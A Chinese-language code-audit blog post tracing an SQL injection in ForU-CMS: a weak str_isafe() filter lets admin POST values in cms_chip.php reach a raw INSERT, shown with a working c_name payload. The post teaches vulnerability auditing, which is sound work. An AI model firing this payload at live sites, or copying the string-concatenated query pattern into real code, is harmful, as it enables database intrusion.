1.前言

小白先知上的第一发,找了个水水的cms简单看了波,发现它的sql注入过滤字符匹配函数写的很奇葩。调用该方法进行过滤前端传入的参数,再拼接入sql进行数据库操作即会造成SQL注入。以下是简单审计过程,适合和我一样的小白看,大佬勿喷!有错误的话请及时指正。

2.正文

查看library.php,可以看到相应的对SQL注入参数过滤函数为str_safe(),对传入的参数html实体编码后再调用str_isafe()来判断字符中是否含有sql查询的特征并将其替换,如下所示:

//返回可安全执行的SQL,带html格式
function str_isafe($str) {
  $tmp = array('SELECT ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', 'eval');
  $tmp_re = array('select ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', '$#101;val');
  return str_replace($tmp, $tmp_re, trim($str));
}
//返回可安全执行的SQL,不带html格式
function str_safe($str) {
  return str_isafe(htmlspecialchars($str));
}

上述过滤函数写的比较奇葩,感觉是防止XSS的,但cms作者备注写的是SQL注入过滤(捂脸)。调用str_safe()函数对参数进行html实体编码后,会使得单引号等特殊字符无法逃逸来打破拼接的sql语句。但如果直接使用str_isafe()对参数值进行过滤即会造成相应的sql注入,毕竟这个函数就过滤了个寂寞。往下查看有arr_insert()、arr_update()两个函数用于sql语句中insert语句和update语句的参数拼接,查看发现两个函数对传入的参数过滤存在问题,使用str_safe()过滤参数名,str_isafe()过滤参数值从而导致若参数可控造成sql注入。

function arr_insert($arr) {
  foreach ($arr as $k => $v) {
    $tmp_key[] = "`" . str_safe($k) . "`";
    $tmp_value[] = "'" . str_isafe($v) . "'";
  }
  return "(".implode(',', $tmp_key).") VALUES (".implode(',', $tmp_value).")";
}
//将数组转换成供update用的字符串
function arr_update($arr) {
  $tmp = '';
  foreach ($arr as $k => $v) {
    $tmp .= "`" . str_safe($k) . "` = '" . str_isafe($v) . "',";
  }
  return rtrim($tmp, ',');
}

3.选一处数据流分析

漏洞位置:ForU-CMS\admin\cms_chip.php第17-27行,服务端接收前端传入的c_name、c_code、c_content、c_safe,使用arr_insert()函数对传入的参数进行处理拼接入sql语句中,如下所示:

if ($act == 'add') {
  $data['c_name'] = $_POST['c_name'];
  $data['c_code'] = $_POST['c_code'];
  $data['c_content'] = $_POST['c_content'];
  $data['c_safe'] = $_POST['c_safe'];
  null_back($data['c_name'],'请填写碎片名称!');

  $sql = "INSERT INTO chip " . arr_insert($data);
  $dataops->ops($sql, '碎片新增', 1);
}
?>

跟进arr_insert(),发现会使用str_safe()对参数名进行过滤处理存入数组,使用str_isafe()对参数值进行过滤注入数组,之后拼接成标准的insert sql语句的后半部分如下所示:

function arr_insert($arr) {
  foreach ($arr as $k => $v) {
    $tmp_key[] = "`" . str_safe($k) . "`";
    $tmp_value[] = "'" . str_isafe($v) . "'";
  }
  return "(".implode(',', $tmp_key).") VALUES (".implode(',', $tmp_value).")";
}

继续跟进str_safe()和str_isafe()过滤函数,看到这两个过滤函数感觉虎躯一震。str_safe()函数还行做了html实体编码后进行替换可以让danyinhao无法逃逸,str_isafe()函数的过滤替换实在时过滤了个寂寞,而上述拼接入的参数值即前端可控就用了str_isafe()函数来进行过滤替换从而可以绕过该过滤。

function str_isafe($str) {
  $tmp = array('SELECT ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', 'eval');
  $tmp_re = array('select ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', '$#101;val');
  return str_replace($tmp, $tmp_re, trim($str));
}
//返回可安全执行的SQL,不带html格式
function str_safe($str) {
  return str_isafe(htmlspecialchars($str));
}

返回到最开始的入口,跟进 该行sql语句执行代码 $dataops->ops($sql, '碎片新增', 1),直接调用了相应的PDO数据库执行操作如下所示:

public function ops($sql, $code='', $sta=0, $msg='', $prm='') {
    if ($this->_db->query($sql)) {
      if ($code) {
        admin_log($code);
      }
      if (strpos($sql, 'channel')!==false) {
        update_channel();
      }
      $this->href($sta, $msg, $prm);
    } else {
      alert_back($GLOBALS['lang']['msg_failed']);
    }
  }

由上造成sql注入。复现过程构造如下payload,直接尝试在c_name参数后拼接insert sql语句的剩余部分进行插入如下所示:

c_name=kkk','1','1','1');select user()#&c_code=11111&c_content=111111&c_safe=0&submit=&act=add

发包后服务器执行成功,且数据库中插入了相应的数据如下所示:


以上就选取了其中一处进行分析,全局调用arr_insert()、arr_update()函数且传入参数可控都会造成SQL注入,因为原理过程一样就不一一寻找分析了。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖